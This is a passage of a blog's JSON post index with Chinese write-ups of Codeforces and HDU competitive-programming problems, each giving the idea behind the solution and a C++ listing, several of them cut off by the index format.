思路：分块。这篇博客说得很不错。http://www.cnblogs.com/sweetsc/archive/2012/08/15/2639395.html","tags":["分块","数据结构"],"title":"hdoj 1754 I hate it","type":"post"},{"categories":["其他"],"content":"http://codeforces.com/problemset/problem/519/C 题意：两种组队方式，3人一组，1个大牛+2个蒟蒻或者1个蒟蒻+2个大牛。给定大牛和蒟蒻的个数。问最多能组多少队。 思路：线性规划。设两种队分别有x,y个即可。 突然发现这题以前做过。。。比当时的代码简单了一些。还不错。 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月14日 星期一 18时31分10秒 4File Name :code/cf/problem/519C.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33int n,m; 34int main() 35{ 36 #ifndef ONLINE_JUDGE 37// freopen(\"code/in.txt\",\"r\",stdin); 38 #endif 39 int ans = 0; 40 cin\u003e\u003en\u003e\u003em; 41 if (n\u003em) swap(n,m); 42 if (m\u003e=2*n) 43 ans = n ; 44 else ans= (m+n)/3; 45 46 cout\u003c\u003cans\u003c\u003cendl; 47 48 #ifndef ONLINE_JUDGE 49 fclose(stdin); 50 #endif 51 return 0; 52}","date":"2015-12-14","externalUrl":null,"permalink":"/2015/12/cf519c/","section":"Posts","summary":"http://codeforces.com/problemset/problem/519/C 题意：两种组队方式，3人一组，1个大牛+2个蒟蒻或者1个蒟蒻+2个大牛。给定大牛和蒟蒻的个数。问最多能组多少队。 思路：线性规划。设两种队分别有x,y个即可。 突然发现这题以前做过。。。比当时的代码简单了一些。还不错。","tags":["算法竞赛"],"title":"codeforces 519 C. A and B and Team Training","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/problemset/problem/552/A 题意：一个100*100的网格。然后给n个矩形。每个格子中填上包含这个格子的矩形的个数。最后问所有格子的和。 思路：树状数组搞得…然而..直接求所有矩形面积的和就可以啊喂。。o(n)。。。111qqz你个炒鸡大菜鸡。 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月14日 星期一 14时01分14秒 4File Name :code/cf/problem/552A.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E2+7; 34int n; 35int c[N][N]; 36struct Point 37{ 38 int x1,y1,x2,y2; 39 40 void input() 41 { 42 scanf(\"%d %d\",\u0026x1,\u0026y1); 43 scanf(\"%d %d\",\u0026x2,\u0026y2); 44 } 45}p[N]; 46 47int lowbit( int x) 48{ 49 return x\u0026(-x); 50} 51void update( int x,int y,int delta) 52{ 53 for ( int i = x ; i \u003c= 105 ; i += lowbit(i)) 54 { 55 for ( int j = y ; j \u003c= 105 ; j +=lowbit(j)) 56 { 57 c[i][j] +=delta; 58 } 59 } 60} 61 62int sum ( int x,int y) 63{ 64 int res = 0 ; 65 for ( int i = x; i\u003e= 1 ; i-=lowbit(i)) 66 { 67 for ( int j = y ; j \u003e= 1 ; j-=lowbit(j)) 68 { 69 res += c[i][j]; 70 // cout\u003c\u003c\"res:\"\u003c\u003cres\u003c\u003cendl; 71 } 72 } 73 74 return res; 75} 76int main() 77{ 78 #ifndef ONLINE_JUDGE 79 freopen(\"code/in.txt\",\"r\",stdin); 80 #endif 81 ms(c,0); 82 cin\u003e\u003en; 83 for ( int i = 0 ; i \u003c n; i++) p[i].input(); 84 85// puts(\"aahhhhhh\"); 86 for ( int i = 0 ; i \u003cn ; i++)","date":"2015-12-14","externalUrl":null,"permalink":"/2015/12/cf552a/","section":"Posts","summary":"http://codeforces.com/problemset/problem/552/A 题意：一个100*100的网格。然后给n个矩形。每个格子中填上包含这个格子的矩形的个数。最后问所有格子的和。 思路：树状数组搞得…然而..直接求所有矩形面积的和就可以啊喂。。o(n)。。。111qqz你个炒鸡大菜鸡。","tags":["brute force","math","树状数组"],"title":"codeforces 522 A. Vanya and Table","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/problemset/problem/1/B 题意：给出了两种表格的表示方法。要求互相转化。 思路：直接模拟即可。注意和一般的进制转化不同的是，26进制对应的是1到26而不是0到25，所以要记得处理下借位。 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月13日 星期日 19时46分09秒 4File Name :code/cf/problem/1B.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33 34char st[100]; 35int a26[100]; 36int a10[100]; 37 38void pre() 39{ 40 a26[0]=1; 41 for ( int i = 1 ;i\u003c=5; i++) 42 { 43 a26[i] = a26[i-1]*26; 44// cout\u003c\u003c\"i:\"\u003c\u003ci\u003c\u003c\" \"\u003c\u003ca26[i]\u003c\u003cendl; 45 } 46 a10[0] = 1; 47 for ( int i = 1 ; i\u003c=7 ; i++) 48 { 49 a10[i] = a10[i-1]*10; 50 } 51} 52void solve() 53{ 54 cin\u003e\u003est; 55 int len = strlen(st); 56 int p1=-1,p2=-1; 57 for ( int i = 0 ; i \u003c len ; i++) 58 { 59 char ch = st[i]; 60 if (ch\u003e='A'\u0026\u0026ch\u003c='Z') 61 { 62 if (p1==-1) 63 { 64 p1 = i ; 65 } 66 else 67 { 68 p2 = i; 69 break; 70 } 71 } 72 } 73 if (p2-p1==1||p2==-1) 74 { 75 int dig = 0 ; 76 int alp = 0; 77 int sum = 0 ; 78 int sum2 = 0 ; 79 for ( int i = len -1 ; i\u003e= 0 ; i--) 80 { 81 char ch = st[i]; 82 if (!isdigit(ch)) 83 { 84 sum += (ch-'A'+1)*a26[alp]; 85 alp++; 86 } 87 else 88 { 89 sum2+= (ch-'0')*a10[dig]; 90 dig++; 91 } 92 } 93 printf(\"R%d\\n\",sum2,sum); 94 } 95 else 96 { 97 int dig","date":"2015-12-14","externalUrl":null,"permalink":"/2015/12/cf1b/","section":"Posts","summary":"http://codeforces.com/problemset/problem/1/B 题意：给出了两种表格的表示方法。要求互相转化。 思路：直接模拟即可。注意和一般的进制转化不同的是，26进制对应的是1到26而不是0到25，所以要记得处理下借位。","tags":["模拟"],"title":"codeforces 1 B. Spreadsheets","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/contest/526/problem/B 题意：有一棵完全二叉树。每条边上有一定数量的路灯。问最少需要添加多少个路灯。使得根节点道叶子节点的每一条路径上的路灯数量一样。 思路：同叶子节点网上更新即可。 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月11日 星期五 16时57分27秒 4File Name :code/cf/problem/526B.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=3E3+7; 34int n; 35int a[N]; 36int main() 37{ 38 #ifndef ONLINE_JUDGE 39 freopen(\"code/in.txt\",\"r\",stdin); 40 #endif 41 cin\u003e\u003en; 42 LL res = 0 ; 43 n = (2\u003c\u003cn)-2; 44 for ( int i = 1 ; i \u003c= n ; i++) 45 { 46 cin\u003e\u003ea[i]; 47 } 48 for ( int i = n ; i \u003e= 1 ; i-=2) 49 { 50 res +=abs(a[i]-a[i-1]); 51 if (i!=2) a[i/2-1] += max(a[i],a[i-1]); 52 } 53 cout\u003c\u003cres\u003c\u003cendl; 54 55 56 #ifndef ONLINE_JUDGE 57 fclose(stdin); 58 #endif 59 return 0; 60}","date":"2015-12-11","externalUrl":null,"permalink":"/2015/12/codeforces-526-b-om-nom-and-dark-park/","section":"Posts","summary":"http://codeforces.com/contest/526/problem/B 题意：有一棵完全二叉树。每条边上有一定数量的路灯。问最少需要添加多少个路灯。使得根节点道叶子节点的每一条路径上的路灯数量一样。 思路：同叶子节点网上更新即可。","tags":["greedy","tree"],"title":"codeforces 526 B Om Nom and Dark Park","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/problemset/problem/574/B 题意：给定一个无相图。选出三个点，使得这三个点之间互相有边相连，且三个点的度数之和最小。 思路：暴力出奇迹。复杂度o(n2+n*m) 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月09日 星期三 21时33分28秒 4File Name :code/cf/problem/574B.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=4E3+7; 34int n ,m; 35vector\u003cint\u003eedge[N]; 36int ans; 37 38bool conc[N][N]; 39int d[N]; 40int main() 41{ 42 #ifndef ONLINE_JUDGE 43 freopen(\"code/in.txt\",\"r\",stdin); 44 #endif 45 46 cin\u003e\u003en\u003e\u003em; 47 ms(conc,false); 48 ms(d,0); 49 for ( int i = 0 ; i \u003c m ;i++) 50 { 51 int x,y; 52 cin\u003e\u003ex\u003e\u003ey; 53 conc[x][y] = true; 54 conc[y][x] = true; 55 d[x]++; 56 d[y]++; 57 } 58 int ans = inf; 59 for ( int i = 1 ; i \u003c= n ; i++) 60 for ( int j = 1 ; j \u003c= n ;j++) 61 if (conc[i][j]\u0026\u0026d[i]+d[j]\u003cans) 62 { 63 for ( int k = 1 ; k \u003c= n ; k++) 64 if (conc[i][k]\u0026\u0026conc[j][k]) 65 ans = min(ans,d[i]+d[j]+d[k]); 66 } 67 if (ans!=inf) 68 cout\u003c\u003cans-6\u003c\u003cendl; 69 else puts(\"-1\"); 70 71 #ifndef ONLINE_JUDGE 72 fclose(stdin); 73 #endif 74 return 0; 75}","date":"2015-12-11","externalUrl":null,"permalink":"/2015/12/cf-574b/","section":"Posts","summary":"http://codeforces.com/problemset/problem/574/B 题意：给定一个无相图。选出三个点，使得这三个点之间互相有边相连，且三个点的度数之和最小。 思路：暴力出奇迹。复杂度o(n2+n*m)","tags":["brute force","图论"],"title":"codeforces 574B Bear and Three Musketeers","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/contest/510/problem/C 题意：给定n个字符串。问是否存在一种字母顺序，使得这n个字符串的顺序满足字典序（自定义的）。如果有多种顺序，输出字典序（标准的）最小的。 思路：将字符串的关系处理成边的关系。每次对于第i个和第i+1个字符串，从前往后扫，直到不相等的那一位，设为k,然后连边，指向i+1。表明第i个字符串的第k位大于第i+1个字符串的第k位。如果没有不想等的。说明其中一个是另一个的字串。如果前者是后者的字串，那么不影响。如果后者是前者的字串，则不存在满足条件的字典序。然后做拓扑排序。由于有多种输出字典序（标准的）最小的方案。所以存点的时候用优先队列存。 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月06日 星期日 15时16分50秒 4File Name :code/cf/problem/510C.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25 26 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=105; 34int n; 35char st[N][N]; 36int p[30]; 37int offset[30]; 38bool conc[30][30]; 39int in[N]; 40int ans[N]; 41struct node 42{ 43 int x; 44 node(int xx) 45 { 46 x=xx; 47 } 48 bool operator \u003c(const node a)const{ 49 return x\u003ea.x; 50 } 51}; 52bool getconc( int x,int y) 53{ 54 int lx = strlen(st[x]); 55 int ly = strlen(st[y]); 56 int len = min(lx,ly); 57 for ( int i = 0; i \u003c len ; i++) 58 { 59 if (st[x][i]!=st[y][i]) 60 { 61 conc[st[x][i]-'a'][st[y][i]-'a'] = true; 62 return true; 63 } 64 } 65 // if (lx\u003ely) return false; 66 return true; 67} 68bool pre() 69{ 70 ms(conc,false); 71 ms(in,0); 72 scanf(\"%d\",\u0026n); 73 for ( int i = 0 ;i \u003c n ; i++) scanf(\"%s\",st[i]); 74 75 bool ok = true; 76 for ( int i = 0 ; i \u003c n-1 ; i++) 77 {","date":"2015-12-09","externalUrl":null,"permalink":"/2015/12/cf510c/","section":"Posts","summary":"http://codeforces.com/contest/510/problem/C 题意：给定n个字符串。问是否存在一种字母顺序，使得这n个字符串的顺序满足字典序（自定义的）。如果有多种顺序，输出字典序（标准的）最小的。","tags":["图论","拓扑排序"],"title":"codeforces 510 C. Fox And Names","type":"post"},{"categories":["ACM"],"content":"题意：给定n组u关系。每组表示a战胜b。。问根据这些关系能否确定冠军。 思路：如果a战胜b就从a连一条指向b的边。那么能确定冠军的条件就变成了，有且只有一个入度为0的点。翻译过来就是，有一个人没有被任何人战胜过。且，这样的人只有一个。一开始想用map来搞。。但是比较麻烦。。其实用set比较好。。开两个set,一个存所有的人，一个存输过的人。出度为0的点只有一个等价为，有且只有一个人没有输过。也就是两个set的元素差个数为1. 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月08日 星期二 21时11分20秒 4File Name :code/hdu/2094.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N= 1E3+7; 34int n; 35set\u003cstring\u003eall; 36set\u003cstring\u003eloser; 37int main() 38{ 39 #ifndef ONLINE_JUDGE 40 freopen(\"code/in.txt\",\"r\",stdin); 41 #endif 42 43 while (scanf(\"%d\",\u0026n)!=EOF) 44 { 45 all.clear(); 46 loser.clear(); 47 if (n==0) break; 48 for ( int i = 0 ; i \u003c n ;i++) 49 { 50 string win,lose; 51 cin\u003e\u003ewin\u003e\u003elose; 52 all.insert(win); 53 all.insert(lose); 54 loser.insert(lose); 55 } 56 if (all.size()-loser.size()==1) 57 { 58 puts(\"Yes\"); 59 } 60 else 61 { 62 puts(\"No\"); 63 } 64 } 65 66 #ifndef ONLINE_JUDGE 67 fclose(stdin); 68 #endif 69 return 0; 70}","date":"2015-12-09","externalUrl":null,"permalink":"/2015/12/hdu2094/","section":"Posts","summary":"题意：给定n组u关系。每组表示a战胜b。。问根据这些关系能否确定冠军。 思路：如果a战胜b就从a连一条指向b的边。那么能确定冠军的条件就变成了，有且只有一个入度为0的点。翻译过来就是，有一个人没有被任何人战胜过。且，这样的人只有一个。一开始想用map来搞。。但是比较麻烦。。其实用set比较好。。开两个set,一个存所有的人，一个存输过的人。出度为0的点只有一个等价为，有且只有一个人没有输过。也就是两个set的元素差个数为1.","tags":["图论","拓扑排序"],"title":"hdu 2094 产生冠军","type":"post"},{"categories":["ACM"],"content":"http://acm.hdu.edu.cn/showproblem.php?pid=1285 题意： 有N个比赛队（1\u003c=N\u003c=500），编号依次为1，2，3，。。。。，N进行比赛，比赛结束后，裁判委员会要将所有参赛队伍从前往后依次排名，但现在裁判委员会不能直接获得每个队的比赛成绩，只知道每场比赛的结果，即P1赢P2，用P1，P2表示，排名时P1在P2之前。现在请你编程序确定排名。 Input 输入有若干组，每组中的第一行为二个数N（1\u003c=N\u003c=500），M；其中N表示队伍的个数，M表示接着有M行的输入数据。接下来的M行数据中，每行也有两个整数P1，P2表示即P1队赢了P2队。 拓扑排序模板题。刷dfs的时候遇到的。干脆来学习下。 注意可能有重边。 由于要求输出顺序按照序号从小到达，所以这里用了优先队列。 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月08日 星期二 20时43分24秒 4File Name :code/hdu/1285.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=5E2+7; 34int n,m; 35int in[N]; 36bool con[N][N]; 37priority_queue\u003cint,vector\u003cint\u003e,greater\u003cint\u003e \u003e q; 38void toporder() 39{ 40 for ( int i = 1 ; i \u003c= n ; i++) 41 if (in[i]==0) q.push(i); 42 43 int c = 1; 44 while (!q.empty()) 45 { 46 int v =q.top(); 47 q.pop(); 48 if (c!=n) 49 { 50 printf(\"%d \",v); 51 c++; 52 } 53 else 54 printf(\"%d\\n\",v); 55 for ( int i = 1 ; i \u003c= n ; i++) 56 { 57 if (!con[v][i]) 58 continue; 59 in[i]--; 60 if (!in[i]) 61 q.push(i); 62 } 63 } 64} 65int main() 66{ 67 #ifndef ONLINE_JUDGE 68 freopen(\"code/in.txt\",\"r\",stdin); 69 #endif 70 71 while (scanf(\"%d %d\",\u0026n,\u0026m)!=EOF) 72 { 73 ms(con,false); 74 for ( int i = 0 ; i ","date":"2015-12-08","externalUrl":null,"permalink":"/2015/12/hdoj1285/","section":"Posts","summary":"http://acm.hdu.edu.cn/showproblem.php?pid=1285 题意： 有N个比赛队（1\u003c=N\u003c=500），编号依次为1，2，3，。。。。，N进行比赛，比赛结束后，裁判委员会要将所有参赛队伍从前往后依次排名，但现在裁判委员会不能直接获得每个队的比赛成绩，只知道每场比赛的结果，即P1赢P2，用P1，P2表示，排名时P1在P2之前。现在请你编程序确定排名。","tags":["优先队列","图论","拓扑排序"],"title":"hdoj 1285 确定比赛名次","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/problemset/problem/596/B 题意：初始序列全为0，问经过多少次变换，能变成序列b。一次变换是指，选定一个i，从i一直到最后每个元素都增加1，或者每个元素都减少1. 思路：很容易发现。后面的变换补影响前面的变换。每一个数字可以唯一由之前的增加和减少次数决定。所以我们用两个变量，记录之前做的增加和减少变换的次数。然后扫一遍即可。 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月08日 星期二 17时53分58秒 4File Name :code/cf/problem/596B.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=2E5+7; 34int n; 35LL a[N],b[N]; 36int main() 37{ 38 #ifndef ONLINE_JUDGE 39 freopen(\"code/in.txt\",\"r\",stdin); 40 #endif 41 42 ms(a,0); 43 cin\u003e\u003en; 44 for ( int i = 0 ; i \u003c n ;i++) cin\u003e\u003eb[i]; 45 46 LL add = 0,minus = 0; 47 LL cnt = 0 ; 48 for ( int i = 0 ; i \u003c n ;i++) 49 { 50 a[i] = add-minus; 51 if (a[i]==b[i]) continue; 52 if (a[i]\u003eb[i]) 53 { 54 minus += a[i]-b[i]; 55 cnt += a[i]-b[i]; 56 // a[i] = b[i]; 57 } 58 else 59 { 60 add +=b[i]-a[i]; 61 //a[i] = b[i]; 62 cnt += b[i]-a[i]; 63 } 64 } 65 cout\u003c\u003ccnt\u003c\u003cendl; 66 67 #ifndef ONLINE_JUDGE 68 fclose(stdin); 69 #endif 70 return 0; 71}","date":"2015-12-08","externalUrl":null,"permalink":"/2015/12/cf596b/","section":"Posts","summary":"http://codeforces.com/problemset/problem/596/B 题意：初始序列全为0，问经过多少次变换，能变成序列b。一次变换是指，选定一个i，从i一直到最后每个元素都增加1，或者每个元素都减少1. 思路：很容易发现。后面的变换补影响前面的变换。每一个数字可以唯一由之前的增加和减少次数决定。所以我们用两个变量，记录之前做的增加和减少变换的次数。然后扫一遍即可。","tags":["greedy"],"title":"cf 596 B. Wilbur and Array","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/problemset/problem/600/C 题意：给定一个字符串。要求用最少的变换得到一个回文串。且在变换次数相同时要字典序最小的。输出变换后的字符串。 思路：对不能构成会文串有影响的是出现奇数次的字母。所以我们先统计每个字母出现的次数。然后按照出现奇数次的字母的个数分奇偶分别搞。偶数的话直接把后面一半变成前面一半。奇数的话，也是这样。输出的时候按照字母从a扫到z，如果有就输出一半。然后再倒着扫一遍。 输出另一半。这样可以保证是字典序最小。需要注意的是奇数的时候的输出情况。不要忘记中间那个字母。 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月08日 星期二 16时39分56秒 4File Name :code/cf/problem/600C.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=2E5+7; 34char st[N]; 35int len; 36int cnt[30]; 37int odd[30]; 38int k; 39int mappd[30]; 40char ans[N]; 41 42void solve() 43{ 44// cout\u003c\u003c\"k:\"\u003c\u003ck\u003c\u003cendl; 45 if (k==0) 46 { 47 for ( int i = 0 ; i \u003c 26 ; i++) 48 { 49 for ( int j = 0 ; j \u003c cnt[i]/2 ; j++) 50 printf(\"%c\",char(i+'a')); 51 } 52 for ( int i = 25 ; i \u003e= 0 ; i--) 53 for ( int j = 0 ; j \u003c cnt[i]/2 ; j++) 54 printf(\"%c\",char(i+'a')); 55 return ; 56 } 57 if (k%2==0) 58 { 59 for ( int i = 1 ; i \u003c= k/2 ; i++) 60 { 61 cnt[odd[i]]++; 62 cnt[odd[i+k/2]]--; 63 } 64 int num = 0; 65 for ( int i = 0 ; i \u003c 26 ; i++) 66 { 67 for ( int j = 0 ; j \u003c cnt[i]/2; j++) 68 printf(\"%c\",char(i+'a')); 69 } 70 for ( int i = 25 ; i \u003e=0 ; i--) 71 { 72 for ( int j = 0 ; j \u003c cnt[i]/","date":"2015-12-08","externalUrl":null,"permalink":"/2015/12/cf600c/","section":"Posts","summary":"http://codeforces.com/problemset/problem/600/C 题意：给定一个字符串。要求用最少的变换得到一个回文串。且在变换次数相同时要字典序最小的。输出变换后的字符串。 思路：对不能构成会文串有影响的是出现奇数次的字母。所以我们先统计每个字母出现的次数。然后按照出现奇数次的字母的个数分奇偶分别搞。偶数的话直接把后面一半变成前面一半。奇数的话，也是这样。输出的时候按照字母从a扫到z，如果有就输出一半。然后再倒着扫一遍。 输出另一半。这样可以保证是字典序最小。需要注意的是奇数的时候的输出情况。不要忘记中间那个字母。","tags":["greedy","构造"],"title":"codeforces 600 C. Make Palindrome","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/contest/505/problem/B 题意；给一个图，边有颜色。给q个查询，每个查询一对点x,y。问只经过某种颜色的边使得x能到y颜色数目。 思路：存颜色的时候卡了下。。本来打算开一个二维的set用来存颜色。。。没想明白。。后来发现。。还是用vecotr就好啊。。。多开一维度vector。。或者。。vector 用 pair 都是可以的。。。因为颜色数不多。。可以暴力枚举每种颜色做一遍dfs 看只走有这条颜色的边x能否到y。。 1/* *********************************************** 2Author :111qqz 3Created Time :2015年12月07日 星期一 09时52分33秒 4File Name :code/cf/problem/505B.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24#define pi pair\u003cint ,int \u003e 25typedef long long LL; 26 27 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34const int N=105; 35int n,m,q; 36vector\u003cpi\u003eedge[N]; 37 38bool vis[N]; 39 40 41void dfs (int x,int y,int col) 42{ 43// cout\u003c\u003c\"x:\"\u003c\u003cx\u003c\u003c\" col:\"\u003c\u003ccol\u003c\u003cendl; 44 vis[x] = true; 45 if (x==y) return; 46 for ( int i = 0 ; i \u003c edge[x].size(); i++) 47 { 48 pi v = edge[x][i]; 49// cout\u003c\u003c\"to:\"\u003c\u003cv.sec\u003c\u003cendl; 50 if (v.sec ==col \u0026\u0026!vis[v.fst]) 51 dfs(v.fst,y,col); 52 } 53} 54int main() 55{ 56 #ifndef ONLINE_JUDGE 57 freopen(\"code/in.txt\",\"r\",stdin); 58 #endif 59 scanf(\"%d %d\",\u0026n,\u0026m); 60 for ( int i = 0 ; i \u003c m ; 